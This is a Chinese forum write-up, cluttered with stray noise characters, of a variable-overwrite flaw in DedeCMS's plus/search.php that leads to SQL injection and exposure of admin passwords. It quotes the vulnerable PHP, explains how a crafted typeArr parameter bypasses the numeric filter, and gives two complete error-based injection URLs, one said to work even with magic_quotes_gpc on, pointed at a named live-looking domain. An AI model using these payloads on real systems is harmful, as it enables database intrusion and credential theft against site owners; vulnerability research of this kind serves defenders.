微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
9 z) a- C" Z0 [8 ^. P9 c; F. D作者: c4rp3nt3r@0x50sec.org8 Z5 I: e4 ]) u$ y
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
3 z, g; \0 \" H- D2 g* D- u' l / Y8 k* [4 v+ m6 K e
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
3 K" {9 {0 b' {/ X$ R4 ?7 }2 |6 }
/ M( A+ @! g" B4 f7 o6 M0 x) F============! U% N( W" N/ s7 g
, y! O n+ E: ^9 I
. p4 c/ q. o' V! H" i5 \8 ?$ s' FDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
! H# T" f6 P0 Y3 N3 i$ v1 c
4 p7 l( d; o: Q! brequire_once(dirname(__FILE__).”/../include/common.inc.php”);
( m. Z) l+ F( E$ n2 @require_once(DEDEINC.”/arc.searchview.class.php”);. i5 }, b% T! s$ y( a3 i
1 y# n. n) E: ^: J; u8 `" l; \9 Z1 G$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
; c: _5 \: w4 x$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;! y& }" e8 @+ [
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;3 K/ P! A5 Y/ _1 a7 M4 }" b
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;% }" C! w) p0 Y+ x! \! p
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
4 a6 @+ E/ T; M" m3 A! Z
; I/ t k4 k; Q- L& S8 @if(!isset($orderby)) $orderby=”;
+ J" D& C# A+ J0 v# telse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);2 j/ {% V- x/ _1 ~+ b
) y l, R/ f1 K8 e+ k( t 6 H5 ^4 | |9 m7 D
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;# |3 x/ W0 U1 q2 p7 D
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);7 L5 S* Y! l; }
9 s; v; |8 K* U$ Y
if(!isset($keyword)){( y+ ?4 Y/ _( |8 |1 z8 m- X6 \. ~
if(!isset($q)) $q = ”;
- C* X: k K# p/ w) Q% G3 { $keyword=$q;
" z- q# C. F" n: r: O}& t+ Z* e0 k+ x4 w
7 X5 e0 e+ d [4 l
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
' x' V3 y a; i" p( J
8 A) y8 A8 O' P//查找栏目信息 Q6 l0 G+ N3 G" z
if(empty($typeid))
5 S+ l4 t+ k$ @6 ~{
- R" _) Z9 `( X3 ?- u+ a $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;" b$ g& p; F! {
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) ): ?1 h! w) R* x" f6 F
{" X8 m7 r7 y1 M# e9 i: d& f
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);7 ]; E* U3 `. B* J9 }5 l; a
fwrite($fp, “<”.”?php\r\n”);
5 v2 t( s. l% p( c( K! k2 f $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
/ X1 Z! H) w1 x $dsql->Execute();6 g9 _* O" P! L" w, _8 l3 {
while($row = $dsql->GetArray())
9 i9 t2 E/ \& a& _ {
2 R& a; \# j/ o6 k fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”); Z2 w( H& t5 n% L. N2 e$ u, z
}
( g4 _* h# c2 O: F- V: @) b fwrite($fp, ‘?’.'>’);
k- f! V& W2 N) ~ fclose($fp);2 @/ D& U! d/ S! q
}
, h! r4 C* Q& M9 x. |, f //引入栏目缓存并看关键字是否有相关栏目内容* L4 w) z7 D- n; K: K
require_once($typenameCacheFile);
) H9 t! r7 U2 O//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个) D5 B7 ^( E+ H3 w* i
//, r4 _$ u1 q0 X5 p/ ^: {
if(isset($typeArr) && is_array($typeArr))% t( f1 f0 R4 h* F7 S7 h6 u
{+ b' D! ? T* f. `* m" l
foreach($typeArr as $id=>$typename)
4 T7 _/ f, c. X+ j% k! t8 O {
3 s" T; o: ]$ W% B3 t! j! L3 ^ 4 e7 Z9 B# b6 F2 `! }; M' x" l
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过& F3 p- x/ f1 {" ~
if($keyword != $keywordn)
! Z* d N! y8 P7 U) _! C$ J {
( @6 v+ `6 e: v; O& n $keyword = $keywordn;( C& b! w& Y) u( t. `. b
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设+ g9 @8 u" E" U& c
break;5 z z* p. g8 K/ N7 b4 u
}& z$ G3 O, A2 w
}
5 N( l% i# e* H9 J, {+ W% x" G }
% q1 R1 k$ G5 I& T}5 t) q/ \ W. R, i6 Z7 W! @2 e6 V% r
然后plus/search.php文件下面定义了一个 Search类的对象 .: p: Z$ ^! D+ U }
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
, e: i. }$ F9 Z- K$this->TypeLink = new TypeLink($typeid);
3 G5 X* y7 s F% c
( W: E9 Q/ x1 S) }8 P9 M- P. ITypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
- d5 D/ b* K$ y$ w- w% W4 ]3 I
7 H. s6 q! c J. E* Bclass TypeLink
! m6 d: }1 u: T2 `{
9 ]% |% G/ ` b( I9 V var $typeDir;8 P/ e% e5 N3 P' }
var $dsql;* d) N; T* h) v" A3 D" l
var $TypeID;7 ^6 Q* |& {7 U0 X- J
var $baseDir;
Z, g% T6 q& | var $modDir;' u% M- | m2 r, e$ n
var $indexUrl;
9 {2 c) o6 Y, E; a var $indexName;
6 E0 V5 W& e( D y, O% E var $TypeInfos;
! D0 ~* D- e! L: W+ U7 ~# m var $SplitSymbol;( |" X+ U# X0 G1 L- [/ P
var $valuePosition;: j6 z8 I4 M5 X6 O& j* A
var $valuePositionName;# P8 K! J: J' v
var $OptionArrayList;//构造函数///////: E. R' D' z9 p) y. A; N
//php5构造函数/ b7 y" e& o1 X+ I$ b2 d8 u( I
function __construct($typeid)
d1 R+ E0 ]/ z+ y. i4 i1 a# x {) N- }' b; \' u. @* M O
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];$ n/ _; E6 i7 N. }" K7 L1 C
$this->indexName = $GLOBALS['cfg_indexname'];) y# P8 B8 C' m8 `# ]* K" F& x0 }, k
$this->baseDir = $GLOBALS['cfg_basedir'];
4 K3 [ l9 n9 ~( {8 [ $this->modDir = $GLOBALS['cfg_templets_dir'];
, l6 Y K, ?& T/ X$ ?1 a/ G $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
/ I( W. `/ C# Q/ T0 z $this->dsql = $GLOBALS['dsql'];6 J, B- }0 H B% ]0 c1 ?( y
$this->TypeID = $typeid;# k! f+ Z ]! N# Z
$this->valuePosition = ”;! R4 M( X, d- d/ d
$this->valuePositionName = ”;$ T$ H: W& E& M& I8 @& {$ e
$this->typeDir = ”;" ]3 t8 s$ B; | f$ C) C0 P
$this->OptionArrayList = ”;( l3 z8 C$ E6 K8 {8 Y# y
M: V7 D/ ^9 K& N3 g& k
//载入类目信息) F0 p& e/ O, r9 P' Y
) v N, f1 ?3 ^+ x8 M6 d! s0 a3 O
<font color=”Red”>$query = “SELECT tp.*,ch.typename as6 t' h( |, u9 ?& U1 P& n
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
' X1 s0 \& h8 F+ ], P* V`#@__channeltype` ch
2 V# p, Q0 C S% I1 r on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
/ M6 e* F" H$ X ; u% O; g+ d# p0 `, d
if($typeid > 0)7 w' s# h9 A% p, |' D
{
6 g4 s0 ~1 ~, Y; d R, f$ o1 `" a $this->TypeInfos = $this->dsql->GetOne($query);
, \! a3 M3 K# d6 D: Y& J利用代码一 需要 即使magic_quotes_gpc = Off
% Y( X s: C& X- l+ L! K" y9 m$ \ + x6 ^# l$ Z' c$ I6 \2 S6 x3 x
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
% Y( q4 t7 K! X8 j" B3 B1 H m
) Y1 ]% Z6 [' x这只是其中一个利用代码… Search 类的构造函数再往下$ z) c* _- K9 H2 v
# S- h0 x9 p/ C% P……省略+ u" n6 S+ L2 ] W+ G
$this->TypeID = $typeid;! ^' j# P: f4 _: B! u8 s
……省略4 v; o8 x: f6 R- H' }$ w
if($this->TypeID==”0″){# W5 C3 B) X5 B4 ^
$this->ChannelTypeid=1;5 H7 D" i) |5 ?* k% _* a7 P
}else{
1 M" c% o/ |1 l r8 X8 G# M b6 w $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲& D4 Y, s h7 k; L1 w
//现在不鸡肋了吧亲…
% u9 x' c3 p$ K0 j' o" A$ N! F $this->ChannelTypeid=$row['channeltype']; m u& b7 W' W) s# i/ D
, P) l( e: o" H# ^
}, f; d; e( e3 w7 s' _$ { @- y
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.4 ~5 T+ B4 `4 M- t8 `1 j# J' B
" Y4 X# x5 R5 i: `www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
5 h. i* B2 B% \: P* x
: N- |: b5 y7 M! |5 r如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
" [3 u K6 r% `+ b |